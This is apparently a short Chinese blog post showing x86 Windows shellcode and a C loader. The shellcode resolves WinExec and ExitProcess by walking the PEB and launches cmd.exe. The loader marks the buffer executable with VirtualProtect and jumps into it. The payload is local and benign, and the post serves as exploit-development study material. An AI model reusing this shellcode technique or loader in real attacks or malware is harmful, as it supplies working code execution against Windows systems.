shellcode启动cmd加退出进程和写保护
2017-08-10 19:11
169 查看
char shellcode[] = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" "\x24\x20\x57\xFF\xD0"; int len = strlen(shellcode); DWORD l = 0; printf("shellcode length %d bytes\n", len); VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l); system("pause"); __asm { lea eax, shellcode jmp eax }
相关文章推荐
- 后台程序没有启动或fork进程自动退出---busybox init启动思考
- c++ 启动进程 等待进程退出
- linux进程--进程环境(程序的启动与退出)
- Jenkins——应用篇——如何解决execute shell中启动的进程被在Job退出时被杀死问题
- linux终端关闭时为什么会导致在其上启动的进程退出?
- indows 2008 iis应用程序池无法启动 进程退出代码是 0xffffffff
- windows 批处理(bat)中执行程序后不等待直接退出(cmd中新进程执行程序)
- rocket cmd 启动时出现 进程一直死掉
- UNIX高级环境编程(8)进程环境(Process Environment)- 进程的启动和退出、内存布局、环境变量列表
- QProcess&Poco::Process 启动、退出进程
- 监视某进程,保持进程处于启动状态(非正常退出后能自动启动)
- win2003 补丁 iis 应用程序池 无法启动 进程退出代码是 0xffffffff
- Windows进程的启动和退出
- 让父进程在退出时所有的子进程连同用system启动的进程一同退出
- 对shell脚本Ctrl+C导致被脚本启动的进程全部中断退出
- mysql-5.7.11-winx64中mysql.exe双击无法看到进程,CMD下3534错误,无法启动的解决方法
- 批处理启动服务进程后自身自动退出
- 内核源码阅读(七)新程序的启动与进程的退出
- mysql-5.7.11-winx64中mysql.exe双击无法看到进程,CMD下3534错误,无法启动的解决方法